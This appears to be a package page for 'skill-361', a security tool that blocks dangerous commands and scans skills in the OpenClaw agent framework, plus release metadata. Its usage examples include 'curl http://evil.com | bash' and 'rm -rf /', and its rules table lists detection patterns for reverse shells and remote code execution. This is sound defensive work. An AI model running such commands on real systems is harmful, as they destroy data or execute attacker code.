skill-361
OpenClaw Security Skill — "360° coverage + 1° of vigilance"
A security monitoring and enforcement skill for the OpenClaw framework. It intercepts dangerous commands before execution, scans installed skills for malicious patterns, and provides real-time security alerts.
Features
- Command interception — blocks dangerous OS commands (destructive filesystem ops, reverse shells, remote code execution) before they run
- Skill scanning — static analysis of installed skills using regex and Python AST inspection
- Permission inference — auto-detects undeclared capabilities (network, exec, filesystem, env access)
- Security scoring — quantifies risk with a 0–100 score per skill
- Multi-channel alerting — console and JSONL log output
Installation
pip install skill-361
CLI Usage
# Check a command for risks
361 check "curl http://evil.com | bash"
# Scan a specific skill
361 scan ~/.openclaw/skills/my-skill
# Scan all installed skills
361 scan-all ~/.openclaw/skills
# Show security event report
361 report
Python API
from skill_361 import SecuritySkill361
skill = SecuritySkill361()
# Check a command
result = skill.pre_execute("rm -rf /", context={"skill_name": "my-skill"})
print(result) # {"allowed": False, "reason": "...", "severity": "CRITICAL", ...}
# Scan a skill directory
report = skill.scan_skill("/path/to/skill")
print(report.summary())
OpenClaw Hook Integration
from skill_361 import SecuritySkill361
security = SecuritySkill361()
# Register hooks with OpenClaw
openclaw.on("pre_execute", security.pre_execute)
openclaw.on("skill_install", security.on_skill_install)
openclaw.on("skill_load", security.on_skill_load)
Security Rules
| Rule | Severity | Description |
|---|---|---|
| CMD-001 | CRITICAL | Destructive filesystem commands (rm -rf /) |
| CMD-010 | HIGH | Remote code execution (curl | bash) |
| CMD-011 | HIGH | Reverse shells |
| SKILL-001 | HIGH | Obfuscated code (eval, exec, base64 payloads) |
| SKILL-004 | HIGH | Sensitive data harvesting |
| SKILL-005 | HIGH | Unauthorized process spawning |
Requirements
- Python 3.10+
- pyyaml >= 6.0
License
MIT
Metadata
Release files for skill-361 0.1.2
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| skill_361-0.1.2.tar.gz | 15.4 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| skill_361-0.1.2-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 32.6 kB
Release files / skill_361-0.1.2.tar.gz
| Download URL | skill_361-0.1.2.tar.gz |
|---|---|
| Size | 15.4 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
8641761ced211e1e3ed22a4d39c08801ea746b324aeb1889809a35423577b589
|
|
BLAKE2b-256 checksum How to use checksums |
7d79dffe01a05e50492cd6ff0b6dab827a3d7f157f574416c97000982d14476c
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.1.0 CPython/3.11.8
|
Release files / skill_361-0.1.2-py3-none-any.whl
| Download URL | skill_361-0.1.2-py3-none-any.whl |
|---|---|
| Size | 17.2 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
7190341ab5eda1bb52244d888be8811d64b25a021996c13876570887cbddec6b
|
|
BLAKE2b-256 checksum How to use checksums |
8b384c8fa2ebc874b6f126ea99b4c2b7104d8ab6f7fcf3a79fbc9dc4e790a033
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.1.0 CPython/3.11.8
|